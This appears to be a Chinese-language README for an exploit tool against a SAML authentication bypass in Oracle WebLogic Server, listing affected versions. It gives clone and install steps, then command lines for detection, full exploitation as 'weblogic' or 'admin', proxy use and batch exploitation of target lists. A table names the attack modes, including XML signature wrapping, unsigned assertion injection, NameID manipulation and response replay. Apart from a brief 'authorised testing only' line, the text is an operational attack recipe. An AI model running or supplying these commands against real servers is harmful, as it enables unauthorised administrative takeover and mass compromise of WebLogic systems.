CVSS 9.9 — Oracle WebLogic Server Core 中的 SAML 认证绕过。
受影响版本：12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0
⚠️ 仅限授权的安全测试。
git clone https://github.com/imbas007/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
# 检测版本 + SAML 端点
python3 CVE-2026-60206-exploit.py -t https://target:7002 --detect
# 完整利用（所有攻击向量）
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all -u weblogic
# 特定模式
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode combo -u admin -v
# 使用代理
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all --proxy http://127.0.0.1:8080 --no-verify
# 仅检测
python3 CVE-2026-60206-exploit.py -l targets.txt -o results.json
# 检测 + 利用（更快）
python3 CVE-2026-60206-exploit.py -l targets.txt --exploit --no-verify -T 30 -o results.json
# 单 URL 批量模式
python3 CVE-2026-60206-exploit.py -l https://target:7002 --exploit
目标文件（每行一个）：
192.168.1.100:7002
https://10.0.0.50
example.com
python3 CVE-2026-60206-exploit.py --list-modes
CVE-2026-60206/
├── CVE-2026-60206-exploit.py # 主脚本（单个 + 批量）
├── mass_scan.py # 批量扫描模块
├── modules/
│ ├── samlib.py # SAML 操作（XSW、NameID 等）
│ ├── weblogic_client.py # WebLogic HTTP 客户端
│ └── logger.py # 彩色日志
├── requirements.txt
└── README.md
| 模式 | 描述 |
|---|
unsigned | 未签名 SAML 断言注入 |
xsw | XML 签名包装（4 种变体） |
nameid | NameID 操纵 / 注释注入 |
combo | 组合：XSW + 未签名 + NameID ⭐ |
audience | AudienceRestriction 绕过 |
conditions | 时间 / 有效性限制绕过 |
replay | SAML 响应重放 |
all | 运行所有 |